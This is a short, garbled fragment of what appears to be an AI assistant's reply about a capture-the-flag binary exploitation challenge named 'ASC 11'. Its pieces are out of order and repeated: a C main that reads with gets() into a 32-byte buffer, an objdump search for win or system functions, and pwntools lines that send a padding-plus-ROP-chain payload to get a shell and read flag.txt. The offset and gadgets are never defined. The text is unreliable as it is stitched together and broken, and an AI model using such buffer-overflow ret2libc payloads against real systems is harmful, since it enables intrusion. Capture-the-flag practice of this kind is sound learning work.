_best_ | Asc 11
./asc11 It prints "Input: " , waits for input, then exits. Open in Ghidra/IDA. The main function:
p.interactive() Run exploit → shell → cat flag.txt . If you provide the actual binary and server info , I can tailor the exact exploit, offsets, and libc version. Does this match your ASC 11 challenge? asc 11
payload2 = b'A'*offset + rop2.chain() p.sendlineafter(b'Input: ', payload2) ./asc11 It prints "Input: "
void main(void) char buf[32]; setvbuf(stdout, NULL, 2, 0); puts("Input: "); gets(buf); // <-- vulnerable waits for input
objdump -d asc11 | grep -E "win|system|shell" If none, we need ret2libc.
